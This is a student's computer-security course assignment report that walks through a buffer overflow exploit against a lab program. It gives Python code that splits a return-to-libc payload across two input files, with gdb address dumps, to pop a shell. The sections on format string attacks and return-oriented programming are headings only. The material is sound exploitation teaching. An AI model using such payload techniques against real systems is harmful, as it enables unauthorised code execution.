NUS CS-3235: Computer Security March 18, 2020

Assignment 2 Report

Lecturer: Reza Shokri *Student: Jonathan Cheng A0121749A*

1 Buffer Overflow

The *buf* buffer is overflowed because it is filled with bytes from two other buffers, *buf1* and *buf2* who each (possibly) holds the same number of maximum bytes as *buf*, *BUFSIZE*. Utilizing the vulnerability to pop shell is similar to tutorial 2, we fill the stack from the return address slot onwards with these 3 things in order:

1. Address to gadget
2. Address to string "$\backslash bin \backslash sh$"
3. Address to *system*

We want the gadget to pop the stack argument (address to string "$\backslash bin \backslash sh$") into *$rdi*, which will cause the subsequent call the *system* to pop shell.

The first difficulty is given the full payload, how to write the files *exploit1, exploit2*. By inspection, we can alternatingly write 1 byte from the full payload to *exploit1, exploit2*, starting from *exploit1*. Then when the bytes are read off from the exploit files into *buf*, the effect is that the payload will be written correctly into *buf*. The below is the python code to do this.

```
open("exploit1", "w").close()
open("exploit2", "w").close()

e1 = open("exploit1", "r+b")
e2 = open("exploit2", "r+b")

for i in range(len(payload)):
    if (i % 2) == 0:
        # Write 1 byte to exploit1
        e1.write(payload[i])
    else:
        # Write 1 byte to exploit2
        e2.write(payload[i])
```

The next difficulty is, as mentioned in the tutorial pdf, overwriting of loop variables.

```
gdb-peda$ p &idx1
$28 = (int *) 0x7fffffffedaf0
gdb-peda$ p &idx2
$29 = (int *) 0x7fffffffedaec
gdb-peda$ p &idx
$30 = (int *) 0x7fffffffedafc
gdb-peda$ p &byte_read1
$31 = (int *) 0x7fffffffedaf8
gdb-peda$ p &byte_read2
$32 = (int *) 0x7fffffffedaf4
```

The only relevant variables here are:

1. *byte_read1*
2. *byte_read2*
3. *idx*

So to make sure that these values are consistent, our (full) payload will slot the values taken by these variables at runtime into the shellcode, like so:

```python
bufaddr = 0x7ffffffedaa0
br2addr = 0x7ffffffedaf4
br1addr = 0x7ffffffedaf8
idxaddr = 0x7ffffffedafc
retaddr = 0x7ffffffedb08

gadget1 = 0x004007d3
binaddr = 0x7fffff1bcd57
system  = 0x7fffff075390

payload_len = retaddr - bufaddr + 8 + 16
print("Total length of payload should be: ", payload_len)

payload = ""
payload += "A" * (br2addr - bufaddr)

# byte_read1, byte_read2:
#   Half of length of payload
payload += pack32(payload_len / 2)
payload += pack32(payload_len / 2)

# idx:
#   Value of idx at the time we overwrite idx
#   We note that since little endian, we overwrite the relevant counting bit immediately
#   This is equivalent to total number of bytes written so far, excluding this byte
payload += pack32(idxaddr - bufaddr)

# Pad until just before return address
payload += "A" * (retaddr - (idxaddr + 4))
```

The values of *byte_read1, byte_read2* will be the half of the payload length (which corresponds to the length of files *exploit1, exploit2*). The value of *idx* trickier. In normal operation, it increments by 1 every time we (over)write a byte. Since we are working in a little endian system, the first byte we overwrite to *idx* is the counting byte. So at that point in time, it is distance from the *buf* address, excluding this first *idx* byte.

To run the exploit, first run *initexploit.py*. This will generate the files to be read. Then run the program, and shell should pop.

All addresses found in *initexploit.py* were found using GDB, similar to tutorial 2.

2 Format String Attack

3 Return-oriented Programming